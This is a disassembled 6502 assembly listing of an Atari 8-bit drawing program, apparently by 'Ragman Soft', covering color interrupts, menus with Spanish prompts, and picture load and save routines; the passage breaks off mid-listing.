jmp L_3FC3 L_3B6E lda #$E0 sta WSYNC sta CHBASE lda #$00 eor COLRSH and DRKMSK sta COLBK sta COLPF2 lda #$0C eor COLRSH and DRKMSK sta COLPF1 pla rti L_3B8D jsr L_4105 lda #$FF ldy #$29 L_3B94 sta (STOPLN+1),y iny cpy #$A7 bne L_3B94 rts L_3B9C lda $CB jsr L_3EEA ldx #$03 cpy #$09 bcs L_3BB2 dex cpy #$06 bcs L_3BB2 dex cpy #$03 bcs L_3BB2 dex L_3BB2 rts L_3BB3 bvs $3C25 rts .byte $C2, $DC, $3B, $C2, $DC, $3B, $82, $82 .byte $82, $82, $82, $82, $82, $82, $82, $82 .byte $82, $82, $82, $82, $82, $20, $44, $A8 .byte $30, $05, $04, $04, $C4, $20, $31, $00 .byte $42, $45, $36, $41, $97, $06, $00, $00 .byte $00, $00, $00, $0D, $00, $23, $2F, $2C .byte $2F, $32, $00, $2D, $25, $2E, $35, $00 .byte $0D, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $23, $6F, $6C, $6F, $72, $00 .byte $2C, $65, $76, $65, $6C, $00, $55, $73 .byte $65, $20, $73, $74, $79, $6C, $75, $73 .byte $20, $74, $6F, $20, $73, $65, $6C, $65 .byte $63, $74, $9B, $2D, $63, $75, $72, $72 .byte $65, $6E, $74, $20, $63, $6F, $6C, $6F .byte $72, $20, $62, $6F, $78, $9B, $2D, $6E .byte $65, $77, $20, $63, $6F, $6C, $6F, $72 .byte $20, $26, $20, $6C, $65, $76, $65, $6C .byte $9B, $2D, $20, $6F, $72, $20, $2D, $9B .byte $60, $20, $52, $61, $69, $6E, $62, $6F .byte $77, $20, $43, $6F, $6C, $6F, $72, $9B .byte $60, $20, $44, $65, $66, $61, $75, $6C .byte $74, $20, $43, $6F, $6C, $6F, $72, $73 .byte $9B, $60, $20, $52, $65, $73, $74, $6F .byte $72, $65, $20, $4C, $61, $73, $74, $20 .byte $43, $6F, $6C, $6F, $72, $9B, $60, $20 .byte $41, $64, $6A, $75, $73, $74, $20, $43 .byte $6F, $6C, $6F, $72, $73, $9B, $6F, $6E .byte $20, $50, $69, $63, $74, $75, $72, $65 .byte $9B, $02, $03, $03, $09, $02, $02, $02 .byte $02, $0C, $01, $02, $03, $05, $07, $09 .byte $0B, $0D, $0E, $04, $19, $2C, $3F, $46 .byte $56, $67, $7C, $8C, $3C, $3C, $3C, $3C .byte $3C, $3C, $3C, $3C, $3C jsr L_3F64 jsr L_3D93 L_3CC1 jsr L_53D9 bne L_3CC1 ldx OPSTKX bne L_3CCC ldx #$05 L_3CCC dex L_3CCD lda RTCLOK+2 sec sbc VCOUNT sta WSYNC sta COLPF0,x jsr L_4D81 beq L_3CCD jmp L_38F4 jsr L_3F64 jsr L_3D93 L_3CE7 jsr L_5147 lda FR2 cmp #$08 beq L_3D3E lda $CB sta POKADR+1 lda $CC sta SVESA jsr L_5104 sta OPSTKX ora #$00 bne L_3D03 lda #$05 L_3D03 sta POKADR L_3D05 jsr L_51C6 lda FR2 cmp #$08 beq L_3D3E cmp #$02 beq L_3CE7 ldx POKADR lda $CC ldy #$0F L_3D18 cmp L_3D54,y bcs L_3D20 dey bpl L_3D18 L_3D20 sty ECSIZE lda $CB ldy #$0F L_3D26 cmp L_3D44,y bcs L_3D2E dey bpl L_3D26 L_3D2E tya asl asl asl asl ora ECSIZE sta PCOLR3,x sta $049A,x jmp L_3D05 L_3D3E jsr L_3F87 jmp L_38F4 L_3D44 .byte $00, $0A, $14, $1E, $28, $32, $3C, $46 .byte $50, $5A, $64, $6E, $78, $82, $8C, $96 L_3D54 .byte $00, $0C, $18, $24, $30, $3C, $48, $54 .byte $60, $6C, $78, $84, $90, $9C, $A8, $B4 .byte $A2, $04 L_3D66 lda L_3D72,x sta $049B,x dex bpl L_3D66 jmp L_3986 L_3D72 plp dex sty DOSINI,x brk ldx OPSTKX bne L_3D7D ldx #$05 L_3D7D dex lda $0488,x sta $049B,x jmp L_3986 L_3D87 ldx #$04 L_3D89 lda $049B,x sta $0488,x dex bpl L_3D89 rts L_3D93 jsr L_4DC2 ldx #$07 lda #$00 L_3D9A sta HPOSP0,x dex bpl L_3D9A ldx #$04 L_3DA2 sta GRAFP0,x dex bpl L_3DA2 rts L_3DA9 ldx FRE+3 txs lda FLPTR bne L_3DC5 jmp L_3E41 L_3DB3 ldx FRE+3 txs lda FLPTR bne L_3DC2 jsr L_3F09 bne L_3DC2 jmp L_3E1E L_3DC2 jsr L_3F20 L_3DC5 lda #$00 sta $CF jsr L_4003 lda #$08 sta ONLOOP jsr L_565C L_3DD3 lda #$FF sta CH jsr L_5147 lda FR2 cmp #$08 bne L_3DE8 jsr L_3F09 beq L_3E1E bne L_3DD3 L_3DE8 lda $CC ldx #$0A L_3DEC dex beq L_3DF4 cmp L_3E00,x bcc L_3DEC L_3DF4 stx VNTD lda $3E14,x pha lda $3E0A,x pha lda $CB L_3E00 rts .byte $0C, $2C, $4C, $6C, $72, $83, $A1, $A6 .byte $B7, $D2, $A7, $A7, $A7, $D2, $CE, $02 .byte $D2, $F7, $D2, $3D, $3E, $3E, $3E, $3D .byte $3E, $3F, $3D, $3E, $3D L_3E1E lda FRE+4 and #$3F cmp #$21 beq L_3E3A ldx #$11 L_3E28 cmp $5E24,x beq L_3E5B dex bpl L_3E28 lda FLPTR bne L_3E37 jsr L_3F20 L_3E37 jmp L_3DD3 L_3E3A lda FLPTR bne L_3E41 jmp L_3DC2 L_3E41 ldx #$11 lda FR1+1 L_3E45 cmp $5E24,x beq L_3E4F dex bne L_3E45 beq L_3E37 L_3E4F stx FR1+2 jsr L_5917 jsr L_3F56 ldx FR1+2 bne L_3E76 L_3E5B stx FR1+2 jsr L_5917 ldx FR1+2 cpx #$08 bcc L_3E76 txa sbc #$08 sta STINDEX lda FRE+4 sta FR1+1 lda FLPTR beq L_3E76 jmp L_3DC5 L_3E76 lda #$08 ldx LELNUM beq L_3E7E lda EXSVPR L_3E7E sta ONLOOP jsr L_565C lda $D0 sta $CF ldx FR1+2 lda L_5E48,x ldy $5E36,x jmp L_4D8C ora (ICDNOZ),y and (SOUNDR),y eor (FKDEF+1),y adc (LOMEM+1),y sta (MVLNG),y asl L_3E9D dex beq L_3EA5 cmp $3E91,x bcc L_3E9D L_3EA5 stx VNTD+1 rts jsr $3E9B lsr VNTD+1 dec VNTD lda VNTD asl asl adc VNTD adc VNTD+1 tax lda L_3EC0,x sta FRE+4 jmp L_3E1E L_3EC0 .byte $3A, $0A, $00, $05, $28, $38, $10, $16 .byte $08, $2F, $2A, $3E, $25, $17, $12 jsr $3E9B txa beq L_3EE5 cmp #$09 bne L_3EE0 lda #$26 sta FRE+4 jmp L_3E1E L_3EE0 dex stx EXSVPR lda #$7F L_3EE5 sta LELNUM jmp L_3DC5 L_3EEA clc adc #$28 ldy #$0D L_3EEF dey beq L_3EF7 cmp $4117,y bcc L_3EEF L_3EF7 rts jsr L_3EEA tya clc adc #$04 tax jmp L_5F3C jsr L_3B9C jmp L_5F3C L_3F09 lda #$FF sta CH lda FRE+4 ldx #$05 L_3F12 cmp L_3F1B,x beq L_3F1A dex bpl L_3F12 L_3F1A rts L_3F1B .byte $21, $26, $17, $36, $37 L_3F20 jsr L_5354 jsr L_3F87 jsr L_4DB8 jsr L_34D6 ldx #$25 stx FLPTR L_3F30 lda $34FF,x sta $0697,x dex bpl L_3F30 jsr L_4003 lda #$A3 sta VDSLST lda #$3F sta VDSLST+1 lda #$20 sta INBUFF+1 lda #$02 sta VSCROL lda #$97 ldy #$06 jmp L_4DF8 L_3F56 lda #$00 sta FR2+4 sta FLPTR jsr L_4DB8 lda #$40 sta NMIEN L_3F64 ldx #$04 L_3F66 lda $049B,x sta COLOR0,x dex bpl L_3F66 lda #$00 sta SDMCTL sta DMACTL sta GRACTL lda $D0 sta $CF ldy $049A lda $0499 jmp L_4DF8 L_3F87 lda #$00 sta $CF lda SDLSTL sta $0499 lda SDLSTH sta $049A ldx #$04 L_3F99 lda COLOR0,x sta $049B,x dex bpl L_3F99 rts pha lda FR2+3 cmp #$05 bcs L_3FC3 lsr bcc L_3FB9 lda #$20 sta WSYNC sta CHBASE L_3FB5 inc FR2+3 pla rti L_3FB9 lda #$24 sta WSYNC sta CHBASE bne L_3FB5 L_3FC3 cmp #$06 beq L_3FEC lda #$28 sta WSYNC sta CHBASE txa pha ldx #$04 lda $049B,x sta WSYNC L_3FD9 eor COLRSH and DRKMSK sta COLPF0,x lda $049A,x dex bpl L_3FD9 inc FR2+3 pla tax pla rti L_3FEC lda #$00 sta WSYNC eor COLRSH and DRKMSK sta COLBK lda #$0E eor COLRSH and DRKMSK sta COLPF2 pla rti L_4003 ldx $049E ldy OPSTKX beq L_401B cpy #$04 bcs L_401B ldx #$0C lda $049A,y and #$0E cmp #$08 bcc L_401B ldx #$00 L_401B stx PCOLR2 lda FCHRFLG sta STOPLN+1 lda DIGRT clc adc #$01 sta TRAPLN jsr L_4105 ldy #$9A ldx #$05 L_4030 lda L_410E,x sta (STOPLN+1),y dey dex bpl L_4030 lda LELNUM bne L_4041 lda #$39 bne L_4049 L_4041 lda EXSVPR asl asl asl asl adc #$49 L_4049 sta HPOSP1 lda FCHRFLG sta STOPLN+1 lda DIGRT clc adc #$02 sta TRAPLN jsr L_4105 lda OPSTKX ldx #$05 ldy #$B4 cmp #$04 bcc L_4066 ldy #$CC L_4066 lda L_410E,x sta (STOPLN+1),y dey dex bpl L_4066 ldx OPSTKX lda $4114,x sta HPOSP2 lda #$00 sta TRAPLN+1 lda #$2E sta SAVCUR jsr L_5C20 sta STOPLN+1 sta $069B sty TRAPLN sty $069C ldx #$11 L_408E ldy #$27 L_4090 lda (TRAPLN+1),y sta (STOPLN+1),y dey bpl L_4090 lda TRAPLN+1 clc adc #$28 sta TRAPLN+1 bcc L_40A3 inc SAVCUR clc L_40A3 lda STOPLN+1 adc #$28 sta STOPLN+1 bcc L_40AD inc TRAPLN L_40AD dex bpl L_408E lda STARP sta STOPLN+1 lda STARP+1 sta TRAPLN ldx STINDEX jsr L_40CC lda $D0 beq L_40C6 ldx #$0D jsr L_40CC L_40C6 lda ADFLAG beq L_40E6 ldx #$0C L_40CC lda STOPLN+1 clc adc L_40E7,x sta STARP lda TRAPLN adc $40F6,x sta STARP+1 ldy #$07 L_40DD lda (STARP),y eor #$80 sta (STARP),y dey bne L_40DD L_40E6 rts L_40E7 bvc $4141 rts .byte $68, $70, $F0, $F8, $00, $08, $10, $90 .byte $98, $A0, $A8, $B0, $00, $00, $00, $00 .byte $00, $00, $00, $01, $01, $01, $01, $01 .byte $01, $01, $01 L_4105 ldy #$00 tya L_4108 sta (STOPLN+1),y dey bne L_4108 rts L_410E .byte $3F, $1F, $0F, $07, $03, $01, $53, $77 .byte $9B, $C0, $3B, $47, $53, $5F, $6B, $77 .byte $83, $8F, $9B, $A7, $B3, $BF lda FLPTR bne L_412B jsr L_3F87 L_412B lda #$00 sta FLPTR sta MEOLFLG sta $CF jsr L_4DB8 lda #$08 sta ONLOOP jsr L_565C jsr L_4146 jsr L_3F64 jmp L_3DA9 L_4146 jsr L_4523 L_4149 jsr L_5CEF lda #$FF sta CH L_4151 jsr L_4D93 jsr L_5147 jsr L_5C20 jsr L_4DC2 L_415D lda FR2 cmp #$08 beq L_418F lda $CC ldx #$07 L_4167 cmp L_4170,x bcc L_41A6 dex bpl L_4167 rts L_4170 .byte $FF .byte $9F rts .byte $57, $4E, $45, $3C, $30, $1C, $0C, $21 L_417B .byte $41, $41, $42, $41, $42, $44, $44, $41 .byte $41, $41, $6F, $49, $19, $B4, $C1, $61 .byte $29, $49, $6F, $6F L_418F lda #$FF sta CH lda FRE+4 and #$3F ldy #$02 L_419A cmp $4178,y beq L_41A4 dey bpl L_419A bmi L_4151 L_41A4 ldx #$00 L_41A6 lda $4185,x ldy L_417B,x ldx #$FF stx CH jmp L_4D8C ldx #$04 ldy #$00 jsr L_5C4E lda #$00 ldy #$42 jsr L_5C87 jsr L_4592 cmp #$1B beq L_41D3 lda $06DB cmp #$44 beq L_41D6 jmp L_4449 L_41D3 jmp L_4149 L_41D6 jsr L_4506 cpy #$01 beq L_41E0 L_41DD jmp L_4753 L_41E0 jsr L_4552 bne L_41D3 jsr L_5C77 ldx #$30 lda #$21 sta B0_ICCOM,x lda #$DB sta B0_ICBAL,x lda #$06 sta B0_ICBAH,x jsr CIOV bmi L_41DD bpl L_41D3 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $9B ldx #$04 ldy #$00 jsr L_5C4E lda #$6B ldy #$42 jsr L_5C87 ldx #$04 ldy #$02 jsr L_5C4E lda #$77 ldy #$42 jsr L_5C87 jsr L_4552 bne L_4268 jsr L_5CE7 jsr L_5CEB ldx #$04 ldy #$03 jsr L_5C4E lda #$96 ldy #$42 jsr L_5C87 jsr L_490A lda #$FE sta B0_ICCOM,x lda #$B8 sta B0_ICBAL,x lda #$42 sta B0_ICBAH,x jsr CIOV bpl L_4268 jmp L_4753 L_4268 jmp L_4149 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $9B, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $9B, $20, $52, $41, $47, $4D .byte $41, $4E, $20, $53, $4F, $46, $54, $20 .byte $9B, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $9B, $20, $20, $20 .byte $20, $20, $20, $20, $20, $9B jsr L_46FD lda #$F4 sta MVTA+1 L_42C8 jsr L_5CEF lda #$00 sta STMCUR+1 lda MVTA+1 clc adc #$0C sta MVTA+1 L_42D6 lda #$02 sta STMCUR L_42DA jsr L_5C52 jsr L_4721 bcc L_4311 inc FR1+3 ldx #$02 L_42E6 lda $06EF,x jsr L_5C77 inx cpx #$0A bne L_42E6 lda STMCUR clc adc #$09 sta STMCUR cmp #$23 bcc L_42DA inc STMCUR+1 lda STMCUR+1 cmp #$03 bcc L_42D6 bcs L_4311 L_4306 lda #$70 sta $06BA jsr L_5CEF jmp L_415D L_4311 ror MVTA bmi L_431F lda STMCUR+1 bne L_431F lda STMCUR cmp #$02 beq L_436E L_431F ldx #$00 ldy #$03 jsr L_5C4E lda #$00 ldy #$44 jsr L_5C87 bit MVTA bpl L_4336 lda #$02 sta $06BA L_4336 jsr L_5147 jsr L_5C20 jsr L_4DC2 lda FR2 cmp #$08 beq L_438C lda $CC cmp #$63 bcc L_4306 cmp #$6B bcc L_4357 cmp #$8B bcc L_439C cmp #$97 bcs L_4306 L_4357 lda #$70 sta $06BA bit MVTA bpl L_4363 jmp L_42C8 L_4363 lda #$70 sta $06BA jsr L_490A L_436B jmp L_4149 L_436E lda FR1+3 bne L_4363 ldx #$04 ldy #$03 jsr L_5C4E lda #$A4 ldy #$42 jsr L_5C87 lda #$C0 sta RTCLOK+1 sta RTCLOK+2 L_4386 cmp RTCLOK+1 beq L_4386 bne L_436B L_438C lda FRE+4 jsr L_5D29 cmp #$20 beq L_4357 cmp #$43 beq L_4357 jmp L_4306 L_439C ldx #$02 L_439E cmp L_43F6,x bcs L_43A6 dex bne L_439E L_43A6 ldy $43F9,x ldx #$03 lda $CB L_43AD cmp L_43FC,x bcs L_43B5 dex bne L_43AD L_43B5 iny dex bpl L_43B5 tya clc adc MVTA+1 sta MVTA jsr L_46FD L_43C2 jsr L_4721 bcc L_4363 dec MVTA bne L_43C2 ldx #$07 lda #$20 sta $06DC,x L_43D2 lda $06F1,x sta $06DB,x dex bpl L_43D2 jsr L_4631 L_43DE jsr L_3F64 jsr L_4A12 bpl L_43F3 sty $93 jsr L_3F87 jsr L_4523 ldy $93 jmp L_4753 L_43F3 jmp L_4146 L_43F6 brk adc VNTP,y .byte $04 php L_43FC brk plp jmp $1C70 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $00, $1C, $9B ldx #$04 ldy #$00 jsr L_5C4E lda #$54 ldy #$44 jsr L_5C87 jsr L_4592 cmp #$1B beq L_444E lda $06DB cmp #$45 beq L_4449 cmp #$53 bne L_4451 L_4449 ldy #$84 jmp L_4753 L_444E jmp L_4149 L_4451 jmp L_43DE jmp $6565 .byte $72, $20, $44, $69, $62, $75, $6A, $6F .byte $20, $9B, $A2, $04 ldy #$00 jsr L_5C4E lda #$F9 ldy #$44 jsr L_5C87 jsr L_4592 cmp #$1B beq L_444E lda $06DB cmp #$45 beq L_4449 cmp #$53 beq L_4449 cmp #$44 bne L_448C jsr L_4506 cpy #$AA bne L_44A1 L_448C jsr L_3F64 jsr L_4934 bpl L_449E sty $93 jsr L_4523 ldy $93 L_449B jmp L_4753 L_449E jmp L_4146 L_44A1 cpy #$01 bne L_449B jsr L_5CEB ldx #$00 ldy #$03 jsr L_5C4E lda #$D2 ldy #$44 jsr L_5C87 L_44B6 jsr L_5D22 cmp #$FF bne L_44C5 jsr L_53D9 beq L_44B6 L_44C2 jmp L_4149 L_44C5 cmp #$59 bne L_44C2 jsr L_5C77 jsr L_5917 jmp L_448C .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $9B, $53 .byte $61, $6C, $76, $61, $20, $44, $69, $62 .byte $75, $6A, $6F, $9B L_4506 jsr L_490A lda #$06 sta B0_ICBAH,x lda #$DB sta B0_ICBAL,x lda #$0D sta B0_ICCOM,x lda #$00 sta B0_ICAX1,x sta B0_ICAX2,x jmp CIOV L_4523 lda #$E0 sta INBUFF+1 jsr L_34D6 lda #$0C sta HSCROL sta COLOR2 lda #$06 sta COLOR1 ldx #$36 L_4539 lda $3524,x sta $0697,x dex bpl L_4539 jsr L_5C20 sta $06BD sty $06BE ldy #$06 lda #$97 jmp L_4DF8 L_4552 jsr L_5CEB L_4555 jsr L_53D9 bne L_4555 ldx #$04 ldy #$03 jsr L_5C4E lda #$79 ldy #$45 jsr L_5C87 L_4568 jsr L_5D22 cmp #$FF bne L_4576 jsr L_53D9 beq L_4568 lda #$1B L_4576 cmp #$59 rts .byte $50, $72, $65, $73, $69, $6F, $6E, $65 .byte $20, $6C, $61, $20, $74, $65, $63, $6C .byte $61, $20, $28, $20, $4E, $20, $29, $20 .byte $9B L_4592 ldx #$04 ldy #$01 jsr L_5C4E lda #$DA ldy #$46 jsr L_5C87 ldx #$04 ldy #$03 jsr L_5C4E lda #$F0 ldy #$46 jsr L_5C87 ldx #$04 ldy #$02 jsr L_5C4E lda #$1F jsr L_5C77 ldx #$14 ldy #$02 jsr L_5C4E lda #$1E jsr L_5C77 ldx #$05 ldy #$02 jsr L_5C4E L_45CD ldy #$0F lda #$20 L_45D1 sta $06DA,y dey bne L_45D1 L_45D7 jsr L_53D9 bne L_45D7 L_45DC lda #$00 sta RUNSTK+1 L_45E0 jsr L_46C1 jsr L_5D22 cmp #$FF bne L_45F2 jsr L_53D9 beq L_45E0 lda #$1B rts L_45F2 pha jsr L_5917 pla ldy #$00 ldx RUNSTK+1 cmp #$9B beq L_4631 cmp #$7D bne L_4609 jsr L_5D0F jmp L_45CD L_4609 cmp #$7E bne L_4685 dec RUNSTK+1 L_460F bmi L_45DC jsr L_5CF8 ldx RUNSTK+1 ldy #$00 L_4618 lda $06DC,x sta $06DB,x iny lda (STARP),y dey sta (STARP),y iny inx cpx #$0E bmi L_4618 lda #$00 sta (STARP),y jmp L_45E0 L_4631 jsr L_5CEB ldx #$00 L_4636 lda $06DB,x cmp #$3A beq L_4656 inx cpx #$0F bne L_4636 dex L_4643 lda $06DB,x sta $06DD,x dex bpl L_4643 lda #$44 sta $06DB lda #$3A sta $06DC L_4656 ldx #$02 L_4658 lda $06DB,x cmp #$2E beq L_467F cmp #$20 beq L_4669 inx cpx #$0C bne L_4658 dex L_4669 ldy #$04 L_466B lda $42BC,y sta $06DF,x dex bmi L_4678 dey bpl L_466B rts L_4678 lda #$2E sta $06DE bne L_4684 L_467F lda #$9B sta $06DF,x L_4684 rts L_4685 cmp #$1E bne L_4693 dec RUNSTK+1 bmi L_460F jsr L_5D06 L_4690 jmp L_45E0 L_4693 cmp #$1F bne L_46A4 inx cpx #$0F beq L_4690 stx RUNSTK+1 jsr L_5C80 jmp L_45E0 L_46A4 cmp #$1B beq L_4684 sta $06DB,x jsr L_5C64 ldy #$00 sta (STARP),y ldx RUNSTK+1 inx cpx #$0F beq L_4690 stx RUNSTK+1 jsr L_5C80 jmp L_4690 L_46C1 lda RTCLOK+2 L_46C3 cmp RTCLOK+2 beq L_46C3 ldy #$00 lda (STARP),y pha lda #$3F sta (STARP),y lda RTCLOK+2 L_46D2 cmp RTCLOK+2 beq L_46D2 pla sta (STARP),y rts .byte $50, $6F, $6E, $67, $61, $20, $43, $3A .byte $6E, $6F, $6D, $62, $72, $65, $20, $20 .byte $20, $20, $20, $20, $20, $9B, $55, $73 .byte $65, $20, $4B, $65, $79, $62, $6F, $61 .byte $72, $64, $9B L_46FD jsr L_490A lda #$03 sta B0_ICCOM,x lda #$06 sta B0_ICAX1,x lda #$00 sta B0_ICAX2,x sta FR1+3 lda #$B8 sta B0_ICBAL,x lda #$42 sta B0_ICBAH,x jsr CIOV bmi L_4753 rts L_4721 ldx #$30 lda #$EF sta B0_ICBAL,x lda #$06 sta B0_ICBAH,x lda #$0F sta B0_ICBLL,x lda #$00 sta B0_ICBLH,x lda #$05 sta B0_ICCOM,x jsr CIOV bpl L_4747 cpy #$89 beq L_4747 bne L_4753 L_4747 lda $06EF cmp #$30 bcc L_4751 cmp #$3A rts L_4751 sec rts L_4753 sty $93 jsr L_5C20 jsr L_5CEB ldx #$00 ldy #$03 jsr L_5C4E lda $93 jsr L_5CA0 lda #$2D jsr L_5C77 lda #$20 jsr L_5C77 ldx #$0E lda $93 L_4775 cmp $47B3,x beq L_4786 bcs L_4784 cmp L_47A4,x bcs L_4786 dex bne L_4775 L_4784 ldx #$00 L_4786 lda $47C2,x ldy $47D1,x jsr L_5C87 jsr L_5917 L_4792 lda CH cmp #$FF bne L_479E jsr L_53D9 beq L_4792 L_479E ldx FRE+3 txs jmp L_412B L_47A4 .byte $00, $80, $82, $84, $88, $8A, $90, $91 .byte $A0, $A2, $A3, $A5, $A7, $A9, $AA, $00 .byte $80, $82, $84, $89, $8F, $90, $9F, $A0 .byte $A2, $A4, $A5, $A7, $A9, $AA, $E0, $ED .byte $02, $95, $13, $22, $33, $33, $A5, $3D .byte $33, $4A, $5F, $71, $83, $47, $47, $48 .byte $48, $48, $48, $48, $48, $48, $48, $48 .byte $48, $48, $48, $48, $53, $79, $73, $74 .byte $65, $6D, $20, $45, $72, $72, $6F, $72 .byte $9B, $53, $74, $6F, $70, $70, $65, $64 .byte $20, $62, $79, $20, $42, $52, $45, $41 .byte $4B, $20, $6B, $65, $79, $9B, $44, $65 .byte $76, $69, $63, $65, $20, $6E, $6F, $74 .byte $20, $66, $6F, $75, $6E, $64, $9B, $46 .byte $69, $6C, $65, $20, $74, $6F, $6F, $20 .byte $73, $68, $6F, $72, $74, $9B, $54, $72 .byte $61, $6E, $73, $66, $65, $72, $20, $50 .byte $72, $6F, $62, $6C, $65, $6D, $9B, $42 .byte $61, $64, $20, $6D, $65, $64, $69, $61 .byte $9B, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $49, $6E .byte $76, $61, $6C, $69, $64, $20, $50, $69 .byte $63, $74, $75, $72, $65, $20, $6E, $61 .byte $6D, $65, $9B, $50, $69, $63, $74, $75 .byte $72, $65, $20, $69, $73, $20, $4C, $6F .byte $63, $6B, $65, $64, $9B, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $50 .byte $69, $63, $74, $75, $72, $65, $20, $6E .byte $6F, $74, $20, $46, $6F, $75, $6E, $64 .byte $9B, $49, $6E, $76, $61, $6C, $69, $64 .byte $20, $43, $6F, $6D, $6D, $61, $6E, $64 .byte $9B, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20, $20, $20, $20, $20, $20, $20 .byte $20, $20 L_48B6 lda #$00 ldx #$7F L_48BA sta LOMEM,x dex bpl L_48BA ldx #$07 L_48C1 sta $0480,x dex bpl L_48C1 lda #$55 sta MVFA asl sta MVFA+1 lda #$FF sta DIRFLG lsr sta LELNUM lda #$75 sta ENTDTD lda #$5D sta LISTDTD rts L_48DE .byte $FF, $80, $C9, $C7, $1A, $00, $01, $FF .byte $0E, $00, $28, $00, $C0, $FF, $FF, $FF .byte $FF, $FF, $FF, $FF, $00, $00, $9B, $9B .byte $9B, $9B L_48F8 ldx #$30 lda #$07 sta B0_ICCOM,x lda #$00 sta B0_ICBLL,x sta B0_ICBLH,x jmp CIOV L_490A ldx #$30 lda #$0C sta B0_ICCOM,x jmp CIOV L_4914 .byte $44, $31, $3A, $50, $49, $43, $54, $55 .byte $52, $45, $9B ldx #$00 L_4921 lda L_4914,x sta $06DB,x inx cmp #$9B bne L_4921 sta STMLBD jsr L_493B jmp L_3DA9 L_4934 jsr L_4DC2 lda #$00 sta STMLBD L_493B jsr L_4AF5 jsr L_490A lda #$06 sta B0_ICBAH,x lda #$DB sta B0_ICBAL,x lda #$03 sta B0_ICCOM,x lda #$08 sta B0_ICAX1,x lda #$00 sta B0_ICAX2,x jsr CIOV bmi L_49D2 lda STMLBD bne L_4985 jsr L_4B1B ldy #$1A L_4968 lda L_48DE,y sta $066F,y dey bpl L_4968 ldy #$11 ldx #$04 L_4975 lda COLOR0,x sta $066F,y dey dex bpl L_4975 ldy EXSVOP cmp #$FF bne L_4997 L_4985 lda $04A1 sta STOPLN+1 lda $0561 sta TRAPLN lda #$1E sta STOPLN lda #$00 sta ERRNUM L_4997 iny tya ldy #$07 sta $066F,y ldy #$12 clc lda ERRNUM adc #$1A sta $066F,y iny lda STOPLN adc #$00 sta $066F,y lda STMLBD bne L_49D4 ldx #$30 lda #$6F sta B0_ICBAL,x lda #$06 sta B0_ICBAH,x lda #$1B sta B0_ICBLL,x lda #$00 sta B0_ICBLH,x lda #$0B sta B0_ICCOM,x jsr CIOV L_49D2 bmi L_49F5 L_49D4 lda STOPLN+1 sta B0_ICBAL,x lda TRAPLN sta B0_ICBAH,x lda ERRNUM sta B0_ICBLL,x lda STOPLN sta B0_ICBLH,x lda #$0B sta B0_ICCOM,x jsr CIOV bmi L_49F5 jmp L_490A L_49F5 sty $93 jsr L_490A ldy $93 rts ldx #$00 L_49FF lda L_4914,x sta $06DB,x inx cmp #$9B bne L_49FF sta STMLBD jsr L_4A19 jmp L_3DA9 L_4A12 jsr L_4DC2 lda #$00 sta STMLBD L_4A19 jsr L_4AF5 jsr L_490A lda #$06 sta B0_ICBAH,x lda #$DB sta B0_ICBAL,x lda #$03 sta B0_ICCOM,x lda #$04 sta B0_ICAX1,x lda #$00 sta B0_ICAX2,x jsr CIOV bmi L_4A5F lda STMLBD bne L_4AB7 ldx #$30 lda #$6F sta B0_ICBAL,x lda #$06 sta B0_ICBAH,x lda #$1B sta B0_ICBLL,x lda #$00 sta B0_ICBLH,x lda #$07 sta B0_ICCOM,x jsr CIOV L_4A5F bmi L_4ADF ldx #$03 ldy #$89 L_4A65 lda $066F,x cmp L_48DE,x bne L_4ADF dex bpl L_4A65 ldy #$11 ldx #$04 L_4A74 lda $066F,y sta COLOR0,x dey dex bpl L_4A74 ldx #$03 ldy #$0C L_4A82 lda $066F,y sta ERRSAV,x dey dex bpl L_4A82 sec lda $0673 sbc #$1A sta STARP lda $0674 sbc #$00 sta STARP+1 bne L_4AA0 lda STARP beq L_4AB0 L_4AA0 jsr L_48F8 lda STARP bne L_4AAB dec STARP+1 bmi L_4AB0 L_4AAB dec STARP jmp L_4AA0 L_4AB0 ldy #$07 lda $066F,y bne L_4AEA L_4AB7 ldx #$30 lda $04A1 sta B0_ICBAL,x lda $0561 sta B0_ICBAH,x lda #$00 sta B0_ICBLL,x lda #$1E sta B0_ICBLH,x lda #$07 sta B0_ICCOM,x jsr CIOV bmi L_4ADF L_4AD9 jsr L_3F87 jmp L_490A L_4ADF sty $93 jsr L_490A jsr L_3F87 ldy $93 rts L_4AEA tay dey sty EXSVOP jsr L_4CF1 bmi L_4ADF bpl L_4AD9 L_4AF5 sec lda SDLSTH sbc RADFLG cmp #$1E bcc L_4B01 lda #$1E L_4B01 clc adc RADFLG sta ARSTKX lda RADFLG sta TRAPLN lda #$00 sta STOPLN+1 sta ERRSAV sta TEMPA+1 lda #$28 sta TEMPA lda #$C0 sta ZTEMP2 rts L_4B1B jsr L_4D75 lsr DATALN+1 bcc L_4B32 lsr DATALN+1 bcs L_4B56 ldy #$00 lsr DATALN+1 bcc L_4B2D dey L_4B2D ldx DATALN+1 jmp L_4B75 L_4B32 lda #$00 sta STARP ldx #$03 stx TOPSTK+1 L_4B3A txa lsr tax sta EXSVOP jsr L_4B95 ldx TOPSTK+1 sta $06D7,x lda ERRNUM dex sta $06D7,x dex stx TOPSTK+1 bpl L_4B3A lsr DATALN+1 bcs L_4B94 L_4B56 ldx #$03 ldy #$01 L_4B5A lda $06D6,x sec sbc $06D6,y lda $06D7,x sbc $06D7,y bmi L_4B6B tya tax L_4B6B dey dey bpl 